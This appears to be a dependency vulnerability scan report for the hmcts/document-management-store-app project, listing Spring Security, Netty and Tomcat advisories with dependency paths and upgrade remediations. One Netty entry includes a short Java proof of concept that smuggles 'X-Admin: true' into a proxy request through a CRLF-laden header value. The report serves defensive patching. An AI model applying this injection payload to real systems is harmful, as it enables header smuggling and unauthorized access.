Affected versions of this package are vulnerable to Incorrect Authorization when using @EnableMethodSecurity on parameterized types or methods. The method annotation finding logic in findClosestMethodAnnotations() does not properly traverse the inheritance of method security annotations, allowing authorization bypass if a method security annotation is used on a parameterized superclass, interface, or overridden method but not on the target method.

If any of the following are true the application is not vulnerable:

  1. Method security annotations (@EnableMethodSecurity) are not in use.

  2. Method security annotations are in use but not for parameterized types or methods.

  3. All method security annotations are attached to target methods.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.4 or higher.

References

medium severity

Cryptographic Weakness

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Cryptographic Weakness. Spring Security was found to be a fixed null initialization vector with CBC Mode in the implementation of the queryable text encryptor. A malicious user with access to the data that has been encrypted using such an encryptor may be able to derive the unencrypted values using a dictionary attack.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.3.2.RELEASE, 5.2.4.RELEASE, 5.1.10.RELEASE, 5.0.16.RELEASE, 4.2.16.RELEASE or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-handler-proxy
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final

Overview

Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.

Notes:

  • This is only exploitable if the application uses HttpProxyHandler with user-influenced outboundHeaders and does not perform its own CRLF sanitization on header values.

  • This is caused due to an incomplete fix for CVE-2025-67735.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

Remediation

Upgrade io.netty:netty-handler-proxy to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

Timing Attack

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Timing Attack via AJP secret comparison. An attacker can perform a timing side-channel attack to determine whether a guessed secret is correct by sending many authentication attempts directly to the connector and measuring the time taken to compare secrets.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@5.7.14.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.7.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. Remote attackers can bypass intended security restrictions and execute untrusted code by (1) serializing a java.lang.Proxy instance and using InvocationHandler, or (2) accessing internal AOP interfaces, as demonstrated using deserialization of a DefaultListableBeanFactory instance to execute arbitrary commands via the java.lang.Runtime class.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.7.RELEASE, 3.0.6.RELEASE or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@5.7.14.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@6.5.10.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Information Exposure in the DaoAuthenticationProvider component. An attacker can determine the status of user attributes such as enabled, expired, or locked by analyzing response times, potentially allowing user attribute enumeration through timing analysis.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.5.10, 7.0.5 or higher.

References

medium severity

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the JdbcOneTimeTokenService component. An attacker can gain unauthorized access to multiple sessions by reusing a single one-time token during authentication.

Note:

This is only exploitable if the application is explicitly configured to use One-Time Token login with JdbcOneTimeTokenService.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.5.10, 7.0.5 or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.7.14.

Overview

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@5.7.14.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: org.springframework.security:spring-security-oauth2-jose
  • Introduced through: org.springframework.security:spring-security-oauth2-jose@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-oauth2-jose@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@6.5.10.

Overview

org.springframework.security:spring-security-oauth2-jose is a provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the withIssuerLocation component. An attacker can bypass intended security restrictions by exploiting improper configuration of JWT decoding when a separate OAuth2TokenValidator is not set.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-jose to version 6.5.10, 7.0.5 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Session Fixation due to the logout functionality not properly clearing the security context when using serialized versions. Additionally, it is not possible to explicitly save an empty security context to the HttpSessionSecurityContextRepository. This allows users to stay authenticated after a logout.

NOTE: Applications are only vulnerable if any of the following conditions are true:

  • The SecurityContextHolderFilter or requireExplicitSave(true) is in use with logout support for serialized sessions, and invalidateHttpSession(false).

  • Users are logged out manually by saving an empty SecurityContext into the HttpSessionSecurityContextRepository.

  • A custom SecurityContextRepository is in use that does not rely on the HttpSession.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.7.8, 5.8.3, 6.0.3 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Session Fixation due to the logout functionality not properly clearing the security context when using serialized versions. Additionally, it is not possible to explicitly save an empty security context to the HttpSessionSecurityContextRepository. This allows users to stay authenticated after a logout.

NOTE: Applications are only vulnerable if any of the following conditions are true:

  • The SecurityContextHolderFilter or requireExplicitSave(true) is in use with logout support for serialized sessions, and invalidateHttpSession(false).

  • Users are logged out manually by saving an empty SecurityContext into the HttpSessionSecurityContextRepository.

  • A custom SecurityContextRepository is in use that does not rely on the HttpSession.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.7.8, 5.8.3, 6.0.3 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.7.RELEASE.

Overview

org.springframework.security:spring-security-core Race condition in the RunAsManager mechanism in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 stores the Authentication object in the shared security context, which allows attackers to gain privileges via a crafted thread.

References

medium severity
new

Improper Authorization

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Authorization in the processing of security constraints when multiple method constraints define an HTTP method for the same extension. An attacker can gain unauthorized access to protected resources by crafting requests that exploit the improper application of these constraints.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

medium severity
new

Improper Handling of Case Sensitivity

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
